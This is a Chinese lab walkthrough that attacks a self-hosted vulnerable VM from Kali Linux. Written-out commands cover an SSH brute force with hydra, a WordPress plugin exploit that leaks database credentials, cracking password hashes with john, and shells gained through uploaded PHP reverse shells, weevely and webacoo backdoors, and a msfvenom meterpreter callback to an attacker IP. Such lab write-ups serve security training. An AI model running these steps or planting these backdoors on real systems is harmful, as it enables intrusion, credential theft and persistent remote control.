声明:本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
一、信息收集
信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:
1、nmap扫描存活IP
由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:
发现本kali ip为40段!用40段进行全网段扫描:
nmap -sP 192.168.40.0/24
发现项目IP为152!
2、nmap全端口服务枚举
进行namp全端口服务枚举:
nmap -sS -sV -A -T5 -p- 192.168.40.152
得到开放的端口信息:
21/tcp open ftp vsftpd 2.0.8 or later
ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp open domain dnsmasq 2.75
80/tcp open http PHP cli server 5.5 or later123/tcp closed ntp
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom? message2.jpgUT
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
以及smb2(windows445端口,共享用)利用!
可以看到有很多容易受到攻击的端口都开着,FTP、NetBIOS、MySQL和运行Web服务器(Apache HTTPD)的端口12380等等!
二、各类服务端口信息枚举
【网络安全相关技术文档】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
1、FTP信息枚举
根据nmap全端口服务枚举的提示,ftp允许匿名登录:
21/tcp open ftp vsftpd 2.0.8 or later
ftp-anon: Anonymous FTP login allowed (FTP code 230)
1)ftp匿名登录枚举
ftp 192.168.40.152
get note ---下载note文件
未授权登录成功,查到note文件,并下载查看!
2)查看note文件
通过ftp下载该文件进行查看:
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
里面是txt文本信息:说将账号信息留存在FTP中,那么还有别的账号密码!
获得两个用户名:Elly、John,其他无可用信息!
2、Samba信息收集
这是139的Samba服务,可以用smbclient来查看。
smbclient是一个开放的netbios-ssn,用smbclient来查看(属于samba套件,它提供一种命令行使用交互式方式访问samba服务器的共享资源)!用Enum4linux枚举,这是一个用于枚举来自Windows和Samba系统的信息的工具。
1)Enum4linux枚举
enum4linux -a 192.168.40.152
-a 做所有参数选项枚举一遍
获取到2个可用信息: 1. ok活跃信息:
//192.168.40.152/kathy Mapping: OK, Listing: OK
//192.168.40.152/tmp Mapping: OK, Listing: OK
kathy和tmp两个信息非常活跃!可以用smbclient连接!
2. 发现了20个用户信息
kathy和tmp两个信息非常活跃!可以用smbclient连接!
2)保存用户信息,并筛查
gedit user.txt
cat user.txt | cut -d '\' -f2 | cut -d ' ' -f1 > user.txt
将通过筛选剔除后,获得正常的用户名:user.txt!
3、暴力破解ssh信息枚举
1)hydra暴力破解
nmap扫描ssh端口为开放状态,利用hydra爆破
hydra -L user.txt -P user.txt 192.168.40.152 ssh
login: SHayslett password: SHayslett
获得ssh登录账号密码!
2)ssh登录
ssh尝试登录:
ssh SHayslett@192.168.40.152
登录成功!到了这一步有非常多的提权方法,咱们继续分析该项目环境!
4、nc信息枚举666端口
1)访问http端口
通过浏览器访问该端口:
http://192.168.40.152:666/
发现这是一个文件!
2)nc下载文件
通过nc访问该端口进行探测:
nc 192.168.40.152 666 >test #将文件下载为test
file test #查看test版本
unzip -h #看下zip版本信息
unzip test #用zip解压test文件
通过nc下载压缩文件,并解压获得message2的jpg图片!
3)Strings查看图片信息
strings查看该图片隐藏信息:
strings message2.jpg
给了两个cookie值,先留着该信息!
5、枚举12380端口信息收集
1)访问端口
用浏览器访问该页面:
http://192.168.40.152:12380/
发现该页面没有可利用的信息,进行漏扫看看!
2)Nikto扫描URL
nikto 是一款开放源代码的、功能强大的 WEB 扫描评估软件,能对 web 服务器多种安全项目进行测试的扫描软件,去寻找已知有名的漏洞,能在230多种服务器上扫描出2600多种有潜在危险的文件、CGI 及其他问题,它可以扫描指定主机的 WEB 类型、主机名、特定目录、COOKIE、特定 CGI 漏洞、返回主机允许的 http 模式等等。
nikto -h http://192.168.40.152:12380/
发现三个目录/admin112233/、/blogblog/、/phpmyadmin/,发现提示SSL Info,说明是ssl访问的,可以https访问,尝试访问http访问会重定向回来,需要HTTPS访问URL!
3)ssl访问
先枚举访问/admin112233目录:
https://192.168.40.152:12380/admin112233/
回显:This could of been a BeEF-XSS hook ;),存在XSS!
枚举访问/blogblog目录:
https://192.168.40.152:12380/blogblog/
发现该网站的是用WordPress搭建的,版本是4.2.1
枚举访问/phpmyadmin目录:
https://192.168.40.152:12380/phpmyadmin
得到phpmyadmin的后台登录界面,需要账户密码!
6、Wpscan信息收集
从blogblog目录可以发现该站存在wordpress站!可利用wpscan进行枚举扫描!
1)wpscan扫描blogblog网页
wpscan --url https://192.168.40.152:12380/blogblog/ --disable-tls-checks
--disable-tls-checks ---因为会受到SSL对等证书/SSH错误临时用法!
提示我们登录https://wpscan.com/register获取wpscan API令牌,才能输出漏洞数据
2)获取wpscan API令牌
需要访问官网,获取密匙:
https://wpscan.com/register
在官网登录后主页面存在API Token复制即可!
3)wpscan扫描
通过获取的token直接开始扫描:
wpscan --url https://192.168.40.152:12380/blogblog/ -e u --api-token kJ4bhZCgveCcoGJPER7AOsHJTeFDf90Wfj9zu0V6asc --disable-tls-checks
扫描发现该目录:blogblog/wp-content/,访问下收集信息!还存在很多漏洞CVE信息,如感兴趣可深入研究!
4)访问发现有3个子目录
在blogblog/wp-content/plugins/发现:
发现存在advanced_video_embed.php,提示存在wordpress advanced video插件模块信息!
三、wordpress advanced漏洞利用
1、39646 exp利用
谷歌搜索:
wordpress advanced video exploit
可以利用39646,在kali上查找并利用!
2、查找并利用py脚本
kali渗透系统自带很多exp脚本,直接查找即可!
cp /usr/share/exploitdb/exploits/php/webapps/39646.py .
将exp复制到利用目录!
3、修改exp代码
添加修改以下内容:
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
url = "https://192.168.40.152:12380/blogblog/"
4、访问URL文件上传页面:
通过修改exp代码,进行对项目环境渗透行为后,在upload目录会出现新的文件内容:
https://192.168.40.152:12380/blogblog/wp-content/uploads
目录下会出现图片:193104749.jpeg,下载:
wget --no-check-certificate https://192.168.40.152:12380/blogblog/wp-content/uploads/193104749.jpeg
--no-check-certificate ---这个参数可促使wget下载ssl文件
下载后进行分析图片信息!
5、图片信息枚举
file查看图片类型:
193104749.jpeg: PHP script, ASCII text
这是一个php代码的txt文本!直接查看!
define('DB_USER', 'root');
define('DB_PASSWORD', 'plbkac');
获得mysql用户名密码:
root/plbkac
接下来使用账号密码直接枚举数据库!
四、Mysql信息枚举+暴力破解
1、库表信息枚举
利用图片枚举出的mysql数据库账号密码进行枚举:
mysql -uroot -pplbkac -h 192.168.40.152 #利用获得的账户密码远程登录
show databases; #查看数据库信息
use wordpress #进入wordpress
show tables; #查看表信息
通过mysql命令枚举到数据库wordpress库中存在wp_users表信息!
2、表字段信息枚举
读取wp_user用户表数据:
desc wp_users;
select user_login,user_pass from wp_users;
或者select * from wp_users;
通过select枚举出该表所有信息内容存在用户名和MD5加密的密码信息!将数据保存至本地:
gedit 1.txt
3、AWK分解保存
使用awk进行文本出来提取user_pass这个字段所有值,在保存至pass.txt
awk拆分密码信息:密码在第3部分
awk -F'|' '{print $3}' 1.txt > pass.txt
4、john爆破密码本
继续使用John的rockyou文本对mysql密码信息进行爆破:
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
$P$B7889EMq/erHIuZapMB8GEizebcIy9.:incorrect
发现对应john用户,密码为incorrect
五、Getshell
通过暴力破解数据库中的密码值,发现了账号密码信息可直接登录wordpress后台,登录后有很多方法可以getshell,接下来就简单介绍利用!
1、登录后台
访问后台页面,用账户:john,密码:incorrect
https://192.168.40.152:12380/blogblog/wp-login.php
测试可成功登录!
2、文件上传
Plugins-》 add New -》upload Plugin :存在上传文件
3、php-webshell利用
复制phpshell到本文件夹:
cp /usr/share/webshells/php/php-reverse-shell.php .
配置PHP文件,将IP更改为本地kail IP:
修改完成即可上传文件!上传PHP文件:
查看是否上传成功:
上传成功!本地开启nc服务,并访问后门进行反弹shell:
nc -vlp 1234
https://192.168.40.152:12380/blogblog/wp-content/uploads/php-reverse-shell.php
成功获得反弹shell,并控制项目环境服务器!
4、weevely利用
1)利用weevely生成PHP木马文件
Weevely是一个隐形的PHP网页的外壳,模拟的远程连接。
软件特点:
生成和管理很难检测到的PHP木马,这是一个Web应用程序后开发的重要工具,可用于像一个隐藏的后门,作为一个有用的远程控制台更换管理网络帐户,即使托管在免费托管服务。只是生成并上传“服务器”目标Web服务器上的PHP代码,Weevely客户端在本地运行shell命令传输。
weevely generate pass11 test.php ---生成test.php文件密码为passtest
generate ---生成新代理
weevely的优势在于免杀性,可看到php木马信息是混淆过的特征!
2)上传文件
验证上传是否成功:
成功上传!
3)运行该PHP文件,获得shell
weevely https://192.168.40.152:12380/blogblog/wp-content/uploads/test.php passtest
成功获得shell,该shell很稳定!
5、webacoo利用
WeBaCoo(Web Backdoor Cookie)是一款隐蔽的脚本类Web后门工具。 借助HTTP协议,它可在客户端和Web服务器之间实现执行代码的网页终端。 WeBaCoo的精妙之处在于,Web服务器和客户端之间的通信载体是Cookie。
1)webacoo生成PHP后门文件
webacoo -g -o webacoo.php
-g 生成后门代码(需要-o)
-o OUTPUT 生成的后门输出文件名
可看到webacoo也是通过特征混淆了php木马,但是没用weevely免杀性能好!
2)后台页面上传该PHP后门
访问是否上传成功:
成功上传!
3)远程连接执行PHP文件
webacoo -t -u https://192.168.40.152:12380/blogblog/wp-content/uploads/webacoo.php
-t 建立远程“终端”连接(需要-u)
-u URL 后门 URL
成功获得shell,该shell很稳定!
6、Msfconsole上线webshell
Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。
1)kali本地生成webshell
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.40.149 LPORT=4455 -f raw > msf.php
--LHOST 为kali本地IP
--LPORT 为连接端口
生成成功msf.php木马文件!
2)后台上传PHP文件
上传成功:
成功上传后需要msf开启监听!
3)msf开启监听
开启msfconsole进入MSF框架:
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.40.149
set LPORT 4455
run
开启监听后,访问msf.php文件触发,可看到反弹shell成功!